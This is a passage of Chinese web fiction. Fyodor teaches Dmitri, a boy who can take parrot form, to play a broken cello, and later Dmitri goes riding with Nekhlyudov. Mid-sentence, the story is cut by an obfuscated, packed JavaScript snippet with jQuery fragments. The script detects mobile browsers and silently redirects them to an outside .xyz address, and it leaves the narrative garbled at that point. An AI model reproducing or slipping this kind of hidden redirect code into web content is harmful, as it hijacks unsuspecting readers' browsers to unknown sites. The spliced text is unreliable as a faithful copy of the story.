德米特里此前只接触过钢琴一种乐器,对大提琴十分陌生,拿起琴弓也不嫌上面有灰,就兴致勃勃地蹲在大提琴前面,试着用琴弓在琴弦上摩擦,几番试验后,总算能让大提琴发出声音了。
德米特里自己不觉得这样的声音吵闹,致力于让大提琴发出不同音阶的声音,但这种声音放在会拉大提琴的人耳朵里,就像锯木头一样难以忍受。
没人教过德米特里怎样拉大提琴,他自己摸索,只觉得好玩又有趣,于是乐此不疲,旁边那个一直在忍受他制造的声响、等他丧失兴趣的人却要失望了。
见德米特里一直在摆弄大提琴,对方为了自己的耳朵着想,也只得放下手中的事务,过来一探究竟。
正当德米特里一个人自得其乐时,头顶忽然投下一片阴影,他一抬头,就对上了一双暗红色的眼眸。对方微微弯下腰来,手指抵着下巴,仿佛在思索着什么。
对方盯着这把琴看了一会儿,将琴扭过来,就发现某处的木头出现了断裂,便道,“这把琴坏了,难怪听起来这么不对劲。”
见德米特里对大提琴还有兴趣,费奥多尔本来想找个法子,好让德米特里放弃在他这里锯木头的念头,这会儿瞧着大提琴半晌,不知为何改变了想法。
也许是一时兴起,他从衬衣口袋里取出一张手帕,将琴身和琴弓都擦得一尘不染,随后找了张凳子,将琴搬过去,稍微调整了一下姿势,让琴靠在大腿上,手指也按上了琴颈处的弦,久违地拉了一首没有歌词的古老曲子。
费奥多尔记不清这首曲子是什么时候学会的,之所以选中这首曲子,只是因为第一时间想起了这个。
虽然是随便选的曲子,德米特里倒是很喜欢。不出意料,德米特里要他教他,如果他拒绝的话,对方一定会缠着他,抱着他的腿喊出类似“求你了,爸爸”之类的话,各种胡搅蛮缠的手段,他是见识过的。那样的话,说不定会比答应对方更浪费时间,所以他还不如直接答应算了。
与钢琴不同,这把常规尺寸的大提琴并非儿童能驾驭的东西,对于德米特里来说,大提琴实在是太沉了,德米特里双腿根本就夹不住大提琴,也就无法固定。既然无法固定,就更别提完整地拉完一首曲子了。
不过,也并不是全无办法,只是得看费奥多尔自己愿不愿意。他可以让德米特里坐在他腿上,这样他就能帮对方固定住大提琴。
对于曾经的费奥多尔而言,这会是一个巨大的挑战,虽然不太能看出来,但他其实很排斥与他人的肢体接触,然而如今却不一样了,他早就习惯与他人……不,他鸟接触了。
他妥协般叹了口气,对德米特里说道,“过来。”
德米特里眼睛一亮,立刻就知道费奥多尔答应他了,生怕对方改变主意,赶忙跑了过去。他只感到有一双有力的手将他抱了起来,然后就落入了一个气息如雪松般冰冷寒凉的怀抱里。
费奥多尔的体温一直都偏低,手心永远是冰凉的,自从德米特里变人之后,因为以前没有体验过有五根手指的感觉,总是会好奇地用手去抓握什么,被他抓的对象通常是费奥多尔的手,这样一来,德米特里对费奥多尔手冰这点的感受就更加明显了。
一只大手握住了德米特里的手,引导着他按住某一根琴弦,另一只手则直接在握住他的手同时握住了琴弓,紧接着,他就听到有悠扬低沉的乐声从自己手中流泻而出,这一切太快,他来不及感受到什么,也无法从中学到太多,一切就戛然而止了。
“好了。”他听到有人在他耳边说,“自己去练练吧。”
.
兴奋劲儿还没散去时,德米特里还去找了聂赫留朵夫,后者一开始很不习惯,跟他说了几句话,很快就习以为常了。
聂赫留朵夫只把德米特里变人这事儿告诉了玛利亚太太,其他人都不知道这个留着女孩般灰色长发的孩子是什么来历,就连聂赫留朵夫的外祖父,这座庄园真正的主人,都对此不知情。
因为头发太长,德米特里不可能简单地披着头发出门,否则很容易踩到头发摔倒。费奥多尔出于某种顾虑,也没有尝试给德米特里剪头发,毕竟还不清楚给人形剪发会不会影响鹦鹉形态的羽毛,万一给德米特里剪了头发,导致鹦鹉变成了一只秃毛鸡,那事情就很难办了——羽毛对鸟儿来说可是很重要的。
综合考虑下来,费奥多尔就给德米特里扎了个辫子,刚好到腿部,不至于会绊到了。不过他的编辫子技术实在是堪忧,显得头发乱乱的,玛利亚太太见了都忍不住让德米特里坐过来,她帮忙重新编了个辫子,还童心未泯地在发尾绑了个蝴蝶结。
玛利亚太太明显对她的作品很是满意,忍不住揉捏德米特里的脸蛋,若非刚好有事,她还想给德米特里换身漂亮的衣服,眼下也只好走了。走前,她还依依不舍地说道,“德米宝贝,等我回来,帮你换衣服好不好?”
德米特里差点一口答应,结果聂赫留朵夫却在后面拽了他一把,对他使了个眼色。等母亲走了,聂赫留朵夫才让德米特里附耳过来听悄悄话,“不要答应她,她会给你换一整天衣服都不带停的!”
“更糟糕的是,”聂赫留朵夫露出了难以启齿的神色,仿佛想起了什么不好的回忆,吞吞吐吐半天才说,“妈妈她收藏了好几个衣柜的女装,专门给你这个年纪的小孩子穿的。”
德米特里对性别的认知很模糊,他只知道他是个男孩子,其余的一概不了解。他不觉得穿女装有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215475|181131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么问题,歪了歪头,问道,“有什么不好吗?”
“难道你喜欢这个?”聂赫留朵夫微微睁大了眼,语气中有几分不可思议,倒是很容易就接受了,“好吧,如果你高兴的话,怎样都可以。”
就这么闲聊着,聂赫留朵夫忽然想到一个消遣的好主意,凑过去问德米特里的意见,“我们去骑马吧,怎么样?”
德米特里去过这里的马厩,不过是以鹦鹉形态去的。那些马匹太过高大,随便一匹马的蹄子就比他整只鸟要大了,当时他就在附近的树上观望着,看见拿着鞭子的驯马师对马匹吆喝着,只觉得马这种生物真的太大了,难怪聂赫留朵夫曾展示给他看的那把马鞭那么粗,鞭子如果不够粗的话,甩在马身上,恐怕和挠痒痒差不多。
德米特里毫不犹豫地同意了,比起聂赫留朵夫这个早有骑马经验的少年,他对从未接触过的骑马有着极高涨的兴趣。
然而,现实不尽如人意,马厩里的马儿每一匹都十分健壮,根本不适合小孩子。
驯马师特意牵了一匹不那么高大、性情偏温顺的成年马儿过来,态度谦卑地说道,“抱歉,尊敬的客人,庄园近几年没有出生小马驹,恐怕只能请您将就一下了。”
小孩骑小马,可现在没有小马。
德米特里努力仰起头看向上方马脸,只看到马儿咀嚼草料的下巴。他目测了一下马背的高度,就发现一个事实——就算他蹦起来,也不可能单凭自己爬上马背。
看着已经骑上马,正缓缓往他这边走来的聂赫留朵夫,德米特里忽然灵光一闪,对着马匹说了几句叽里咕噜的话,旁人听不懂他说了什么,只见马儿忽然停住了咀嚼的动作,以一种极缓慢的速度缓缓跪趴了下来,而德米特里则迅速地爬上了马背,随着马儿逐渐站立起来,德米特里就紧紧地抱住了马脖子,他现在离地面太远了。
亲眼目睹这种神奇的景象,驯马师嘴巴张张合合,三观都被震碎了。好半天,才想起要恭维一句,“可见您与马儿心意相通,是天生的马术天才啊!”
“谢谢。”德米特里回道,余光瞧见聂赫留朵夫一脸的瞠目结舌,他还把脸从马鬃里抬起来,得意地喊道,“我曾经驯服一只雄鹰!”
德米特里以前就这么吹嘘过,但聂赫留朵夫之前都没当回事,只以为是吹牛,现在才真信了,很给面子地夸赞道,“真厉害。”
“……”
趁着两人正在说话时,驯马师找了个由头,让另一个负责养马的人过来替他牵着德米特里骑的马,随后就消失在了视野里。
两人都没有关注驯马师离去的路线,所以就没人发现,本没有资格随意进入庄园主住宅的驯马师竟然径直走进了侧门。
.